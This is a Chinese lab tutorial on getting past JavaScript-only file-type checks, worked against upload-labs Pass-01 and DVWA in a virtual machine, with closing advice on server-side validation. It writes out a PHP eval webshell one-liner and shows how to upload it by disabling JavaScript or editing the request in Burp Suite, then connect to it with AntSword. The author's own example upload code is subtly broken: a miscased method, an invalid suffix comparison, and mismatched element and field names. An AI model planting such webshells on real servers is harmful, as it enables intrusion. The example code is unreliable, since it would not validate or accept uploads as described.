【文件上传绕过】——前端检测_前端js验证漏洞

一、实验目的:

1、通过本次实验掌握js验证原理
2、通过自写代码学习js验证过程;
3、通过upload-labs闯关游戏(Pass-01)掌握js前端绕过技术。

二、工具:

BurpSuite
火狐/谷歌浏览器
AntSword(蚁剑)

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      自写上传页面代码
      文件上传漏洞闯关游戏
      DVWA靶场

攻击机: 物理机

四、实验目的:

1、自写上传代码,学习前端js验证过程及漏洞产生的原理;
2、通过upload-labs-master文件上传漏洞闯关游戏Pass-01DVWA靶场-low级别,掌握js绕过技术。

五、漏洞说明:

1. 漏洞原理:

  Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2. js前端验证过程代码:

1、在windows10虚拟机的网站主目录下,创建一个fileupload/js_test/目录,自己构建上传页面,上传页面代码,前端验证index.html文件如下所示:

<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
  <!-- 这里进行编码,编码格式为UTF-8,防止浏览器出现中文乱码 --> 
	<meta charset="utf-8">
</head>
<body>
  <!-- enctype="multipart/form-data":对表单传输的数据不需要进行编码(为防止传入后台进行编解码过程中,出现问题,故不进行编码处理) --> 
<form action="fileupload.php" onsubmit="return checkupload();" method="POST" enctype="multipart/form-data">
	请选择要上传的文件:<input type="file" name="uploadfile">
	<input type="submit" name="submit" value="提交">
</form>
<!-- 下面是使用js代码对上传的文件进行前端验证 --> 
<script type="text/javascript">
	function checkupload() {
    // alert(111);
    // 对上传的文件类型进行验证:
    // 1.获取上传文件名:
		var filetag = document.getElementById("uploadfile");
		var filename = filetag.value;
		// alert(filename)
    // 2.截取文件后缀名:
		var lastloc = filename.lastIndexof(".")+1;
		// alert(lastloc);
		var suffix = filename.substring(lastloc);
		// alert(suffix);
    // 3.对文件类型进行验证:
		if (suffix != "jpg"|"png") {
			alert("文件类型错误,上传失败");
			return false; 
		}
	}
</script>
</body>
</html>

2、在同一个目录下,创建一个后端fileupload.php文件:

<?php
header("Content-Type:text/html;charset=utf-8"); // 为了避免浏览器中文乱码,对页面进行编码,编码格式为utf-8
echo "<pre>";  //对数据进行格式化输出
if(isset($_FILES["file"])){
    $file = $_FILES["file"];
    $filename=$file["tmp_name"];
    $name=$file["name"];
    $name1=iconv("utf-8","gbk",$name); // 将字符串$name 从utf-8转换编码到gbk。这里是为了防止上传到服务器时,图片在服务器出现中文乱码。
    $destination="./upload/".$name1;
    move_uploaded_file($filename,$destination);
    }else{
        echo "上传文件有误";
    }
?>

六、实验过程:

1. 判断是否存在前端js绕过漏洞

  按F12(或者:在网页空白处"右击"-->选择:"检查")打开调试面板,选择网络,然后上传图片文件非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

1.1 上传非图片文件:

1、创建一个test.php文件:
文件内容:

<?php @eval($_REQUEST['666']); ?>

2、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.php:

http://192.168.100.150/upload-labs-master/Pass-01/index.php


3、点击上传文件后,提示不允许上传该文件,并且没有数据流量产生:
通过上面的操作,发现没有数据向后台发送,说明前端有js验证,存在js绕过漏洞。

1.2 上传图片文件:

1、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.jpg:

2、点击上传文件后,发现网络中有数据流量产生:
通过上图可以看到,网络栏有数据传输,说明有数据向后台发送。

2. 绕过方法一:删除或者禁用js:

2.1 upload-labs闯关游戏(Pass-01):

通过windows10虚拟机 中的 upload-labs闯关游戏(Pass-01)进行实验:

1、在输入框中输入about:config点击接受

2、在搜索框中输入javascript然后找到javascript.enabled选项双击,出现false:


3、回到upload-labs-master选择第一关上传php文件:

通过上面操作,发现已经上传成功。

4、上传成功后允许js代码运行,如下图所示:
注:不开启js代码的话,如果页面通过ajxs编写的,可能就无法实现相应功能,比如这里的文件上传功能可能就不能使用了。

2.2 DVWA靶场-low级别:

1、打开DVWA靶场-low级别

2、上传一个1.jpg文件:


3、上传完成后,会显示文件路径,并会提示成功上传:


4、可以正常访问:

5、接下来,上传一个一句话木马文件test.php
文件内容:

<?php @eval($_REQUEST['666']); ?>

6、可以正常上传,并进行访问,并且能够解析成功:

3. 绕过方法二:使用代理上传文件,比如Burp Suite

1、在windows10虚拟机 桌面创建test.php文件,写入一句话木马保存,然后将后缀名改为jpg:

<?php @eval($_REQUEST['666']); ?>

2、进入闯关游戏Pass-01,点击浏览选中创建好的jpg文件:

3、打开Burp Suite,开启流量拦截:

4、在浏览器里面,打开Burp Suite代理流量,然后点击上传:

5、发现Burp Suite已经抓到数据:

6、将文件格式改成php文件,点击Forward发送数据包,并关闭浏览器代理:

7、查看windows10虚拟机\WWW\upload-labs-master\upload文件夹,出现test.php文件上传成功:

8、选中图片右击,选择复制图像链接,即可获得我们上传文件的URL,并进行访问:

9、把复制的URL,粘贴到蚁剑,测试连接,并添加连接:


10、可以看到已经成功获得windows10虚拟机的webshell:

文件上传漏洞指的是攻击者可以通过上传恶意文件来执行任意代码或者获取服务器上的敏感信息。在前端检查方面,可以通过以下步骤来检查和防止文件上传漏洞的发生: 1. 检查文件类型:客户端可以通过对文件类型的检查来防止用户上传恶意文件。这可以通过在前端使用JavaScript来实现,或者通过使用一些第三方库来实现。在检查文件类型时,应该使用白名单的方式来限制允许上传的文件类型。 2. 检查文件大小:客户端可以通过对文件大小的检查来限制用户上传过大的文件。这可以通过在前端使用JavaScript来实现。 3. 检查文件名称:客户端可以通过对文件名称的检查来防止用户上传含有恶意脚本的文件。这可以通过在前端使用JavaScript来实现。 但是,这些前端检查都可以被攻击者绕过,因此还需要在服务器端进行进一步的检查和过滤。在服务器端,可以采取以下措施来防止文件上传漏洞的发生: 1. 验证文件类型:在服务器端,应该再次验证文件类型,以确保文件类型符合预期。 2. 验证文件大小:在服务器端,应该再次验证文件大小,以确保文件大小符合预期。 3. 验证文件内容:在服务器端,应该对文件内容进行检查,以确保文件中不包含恶意代码或者其他危险内容。 总之,前端检查只是一种基本的防御措施,但是还需要在服务器端进行更加严格的检查和过滤,以确保文件上传漏洞不会发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值